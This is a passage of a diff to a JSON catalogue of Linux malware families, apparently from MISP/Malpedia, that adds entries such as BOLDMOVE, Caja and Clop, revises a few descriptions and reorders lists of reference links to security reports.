"https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/" ], "synonyms": [], "type": [] @@ -3509,8 +3801,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackrota", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.kryptoslogic.com/blog/2020/12/automated-string-de-gobfuscation/", - "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go-en/" + "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go-en/", + "https://www.kryptoslogic.com/blog/2020/12/automated-string-de-gobfuscation/" ], "synonyms": [], "type": [] @@ -3518,6 +3810,20 @@ "uuid": "a30aedcc-562e-437a-827c-55bc00cf3506", "value": "Blackrota" }, + { + "description": "According to Mandiant, this malware family is attributed to potential chinese background and directly related to observed exploitation of Fortinet's SSL-VPN (CVE-2022-42475). There is also a Windows variant.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.boldmove", + "https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw", + "https://thehackernews.com/2023/01/new-chinese-malware-spotted-exploiting.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8f347147-c34e-4698-9439-c640233fca15", + "value": "BOLDMOVE (ELF)" + }, { "description": "This is a pentesting tool and according to the author, \"BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.\".\r\n\r\nIt has been observed being used by TeamTNT in their activities for spreading crypto-mining malware.", "meta": { @@ -3538,10 +3844,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.botenago", + "https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits", + "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", "https://cybersecurity.att.com/blogs/labs-research/botenago-strike-again-malware-source-code-uploaded-to-github", "https://www.nozominetworks.com/blog/new-botenago-variant-discovered-by-nozomi-networks-labs/", - "https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/", - "https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits" + "https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/" ], "synonyms": [], "type": [] @@ -3554,15 +3861,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor", + "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", + "https://twitter.com/cyb3rops/status/1523227511551033349", + "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/", + "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896", + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://twitter.com/CraigHRowland/status/1523266585133457408", "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor", "https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/#", - "https://troopers.de/troopers22/talks/7cv8pz/", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", - "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/", - "https://twitter.com/CraigHRowland/status/1523266585133457408", - "https://twitter.com/cyb3rops/status/1523227511551033349", - "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896" + "https://troopers.de/troopers22/talks/7cv8pz/" ], "synonyms": [ "JustForFun" @@ -3572,17 +3880,30 @@ "uuid": "3c7082b6-0181-4064-8e35-ab522b49200f", "value": "BPFDoor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.brute_ratel", + "https://bruteratel.com/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2fa4ac4e-3f89-4fd0-b4fd-2c776dcf69d8", + "value": "brute_ratel" + }, { "description": "Pangu Lab discovered this backdoor during a forensic investigation in 2013. They refer to related incidents as \"Operation Telescreen\".", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bvp47", - "https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html", - "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group_ii.en.pdf", - "https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf", - "https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/" + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", + "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group_ii.en.pdf", + "https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/", + "https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/", + "https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html" ], "synonyms": [], "type": [] @@ -3590,6 +3911,19 @@ "uuid": "0492f9bf-3c5d-4c17-993b-2b53d0fb06f7", "value": "Bvp47" }, + { + "description": "Linux malware cross-compiled for x86, MIPS, ARM. XOR encoded strings, 13 commands supported for its C&C, including downloading, file modification and execution and ability to run shell commands.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.caja", + "https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ" + ], + "synonyms": [], + "type": [] + }, + "uuid": "06816c22-be7c-44db-8d0d-395ab306bb9b", + "value": "Caja" + }, { "description": "According to Avast Decoded, Caligula is an IRC multiplatform bot that allows to perform DDoS attacks. It is written in Go and distributed in ELF files targeting Intel 32/64bit code, as well as ARM 32bit and PowerPC 64bit. It is based on the Hellabot open source project.", "meta": { @@ -3621,11 +3955,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked", - "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/", - "https://www.symantec.com/security-center/writeup/2013-050214-5501-99", - "https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/", "https://blogs.cisco.com/security/linuxcdorked-faqs", - "https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html" + "https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html", + "https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/", + "https://www.symantec.com/security-center/writeup/2013-050214-5501-99", + "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/" ], "synonyms": [ "CDorked.A" @@ -3674,13 +4008,27 @@ "uuid": "7a226df2-9599-4002-9a38-b044e16f76a9", "value": "Cetus" }, + { + "description": "Multi-functional malware written in Go, targeting both Linux and Windows, evolved from elf.kaiji.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.chaos", + "https://www.trendmicro.com/en_us/research/22/l/linux-cryptomining-enhanced-via-chaos-rat-.html", + "https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ef03e3c3-32d5-483a-bd1f-97dd531c4bca", + "value": "Chaos (ELF)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.chapro", - "http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html", - "http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a" + "http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a", + "http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html" ], "synonyms": [], "type": [] @@ -3701,16 +4049,33 @@ "uuid": "e5600185-39b7-49a0-bd60-a6806c7d47dd", "value": "Chisel (ELF)" }, + { + "description": "ELF version of clop ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.clop", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.helpnetsecurity.com/2023/02/07/cl0p-ransomware-decryptor-linux/", + "https://www.sentinelone.com/labs/cl0p-ransomware-targets-linux-systems-with-flawed-encryption-decryptor-available/" + ], + "synonyms": [ + "Cl0p" + ], + "type": [] + }, + "uuid": "3d11ec52-9ca8-4d83-99d4-6658f306e8e4", + "value": "Clop (ELF)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cloud_snooper", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf", + "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf", "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf" + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [ "Snoopy" @@ -3725,17 +4090,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.conti", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://damonmccoy.com/papers/Ransomware_eCrime22.pdf", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", + "https://www.youtube.com/watch?v=cYx7sQRbjGA", "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", - "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", - "https://www.youtube.com/watch?v=cYx7sQRbjGA" + "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [ "Conti Locker" @@ -3803,25 +4170,25 @@ "value": "CronRAT" }, { - "description": "According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.", + "description": "According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard and ASUS devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cyclops_blink", - "https://github.com/trendmicro/research/blob/main/cyclops_blink/c2-scripts/check.py", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", - "https://www.bleepingcomputer.com/news/security/cisa-warns-orgs-of-watchguard-bug-exploited-by-russian-state-hackers/", - "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", "https://www.cisa.gov/uscert/ncas/alerts/aa22-054a", - "https://www.theregister.com/2022/03/18/cyclops_asus_routers/", - "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyclops-blink-sets-sights-on-asus-routers/Appendix_Cyclops%20Blink%20Sets%20Sights%20on%20ASUS%20Routers.pdf", - "https://www.justice.gov/opa/press-release/file/1491281/download", "https://www.justice.gov/opa/video/attorney-general-merrick-b-garland-announces-enforcement-actions-disrupt-and-prosecute", - "https://attack.mitre.org/groups/G0034", - "https://www.bleepingcomputer.com/news/security/us-disrupts-russian-cyclops-blink-botnet-before-being-used-in-attacks/", + "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation", + "https://github.com/trendmicro/research/blob/main/cyclops_blink/c2-scripts/check.py", "https://www.shadowserver.org/news/shadowserver-special-reports-cyclops-blink/", - "https://www.bleepingcomputer.com/news/security/asus-warns-of-cyclops-blink-malware-attacks-targeting-routers/" + "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://www.bleepingcomputer.com/news/security/asus-warns-of-cyclops-blink-malware-attacks-targeting-routers/", + "https://www.bleepingcomputer.com/news/security/us-disrupts-russian-cyclops-blink-botnet-before-being-used-in-attacks/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyclops-blink-sets-sights-on-asus-routers/Appendix_Cyclops%20Blink%20Sets%20Sights%20on%20ASUS%20Routers.pdf", + "https://www.bleepingcomputer.com/news/security/cisa-warns-orgs-of-watchguard-bug-exploited-by-russian-state-hackers/", + "https://www.justice.gov/opa/press-release/file/1491281/download", + "https://www.theregister.com/2022/03/18/cyclops_asus_routers/", + "https://attack.mitre.org/groups/G0034", + "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html" ], "synonyms": [], "type": [] @@ -3834,15 +4201,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dacls", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://blog.netlab.360.com/dacls-the-dual-platform-rat/", + "https://www.sygnia.co/mata-framework", + "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", - "https://blog.netlab.360.com/dacls-the-dual-platform-rat/", - "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", - "https://www.sygnia.co/mata-framework", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" ], "synonyms": [], "type": [] @@ -3855,11 +4222,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark", - "https://twitter.com/ESETresearch/status/1440052837820428298?s=20", - "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/", "https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities", + "https://twitter.com/ESETresearch/status/1440052837820428298?s=20", + "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", "https://www.radware.com/getmedia/d312a5fa-2d8d-4c1e-b31e-73046f24bf35/Alert-Dark-OMIGOD.aspx", - "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx" + "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/" ], "synonyms": [ "Dark.IoT" @@ -3888,58 +4255,59 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.darkside", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", "https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/", - "https://blog.group-ib.com/blackmatter#", - "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", - "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", - "https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html", - "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", - "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", - "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", - "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", - "https://abcnews.go.com/Politics/biden-speak-colonial-pipeline-attack-americans-face-gasoline/story?id=77666212", "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", - "https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", - "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkside-ransomware-victims-sold-short/", - "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", - "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", - "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://twitter.com/GelosSnake/status/1451465959894667275", - "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", - "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside", + "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://abcnews.go.com/Politics/biden-speak-colonial-pipeline-attack-americans-face-gasoline/story?id=77666212", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", "https://pylos.co/2021/05/13/mind-the-air-gap/", "https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", + "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", + "https://twitter.com/GelosSnake/status/1451465959894667275", + "https://blog.group-ib.com/blackmatter#", + "https://www.ic3.gov/Media/News/2021/211101.pdf", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", + "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", "https://cybersecurity.att.com/blogs/labs-research/darkside-raas-in-linux-version", - "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", "https://blog.group-ib.com/blackmatter2", - "https://www.youtube.com/watch?v=qxPXxWMI2i4" + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", + "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", + "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", + "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group" ], "synonyms": [], "type": [] @@ -3966,9 +4334,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddg", "https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/", - "https://blog.netlab.360.com/threat-alert-ddg-3013-is-out/", "https://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-servers/", "https://blog.netlab.360.com/ddg-botnet-round-x-is-there-an-ending/", + "https://blog.netlab.360.com/threat-alert-ddg-3013-is-out/", "https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/" ], "synonyms": [], @@ -3991,14 +4359,14 @@ "value": "ddoor" }, { - "description": "DEADBOLT is a linux ransomware written in GO, targeting QNAP NAS devices worldwide. The files are encrypted with AES128 encryption and will have the .deadbolt extension appended to file names.", + "description": "DEADBOLT is a linux ransomware written in Go, targeting QNAP NAS devices worldwide. The files are encrypted with AES128 encryption and will have the .deadbolt extension appended to file names.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.deadbolt", "https://community.riskiq.com/article/1601124b", + "https://www.trendmicro.com/en_us/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.bleepingcomputer.com/news/security/new-deadbolt-ransomware-targets-qnap-devices-asks-50-btc-for-master-key/", - "https://www.trendmicro.com/en_us/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html" + "https://www.bleepingcomputer.com/news/security/new-deadbolt-ransomware-targets-qnap-devices-asks-50-btc-for-master-key/" ], "synonyms": [], "type": [] @@ -4011,8 +4379,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.denonia", - "https://thehackernews.com/2022/04/first-malware-targeting-aws-lambda.html", - "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/" + "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/", + "https://thehackernews.com/2022/04/first-malware-targeting-aws-lambda.html" ], "synonyms": [], "type": [] @@ -4025,9 +4393,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.derusbi", - "https://twitter.com/IntezerLabs/status/1407676522534735873?s=20", + "https://attack.mitre.org/groups/G0001/", "https://attack.mitre.org/groups/G0096", - "https://attack.mitre.org/groups/G0001/" + "https://twitter.com/IntezerLabs/status/1407676522534735873?s=20" ], "synonyms": [], "type": [] @@ -4041,8 +4409,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dofloo", "https://blog.syscall.party/post/aes-ddos-analysis-part-1/", - 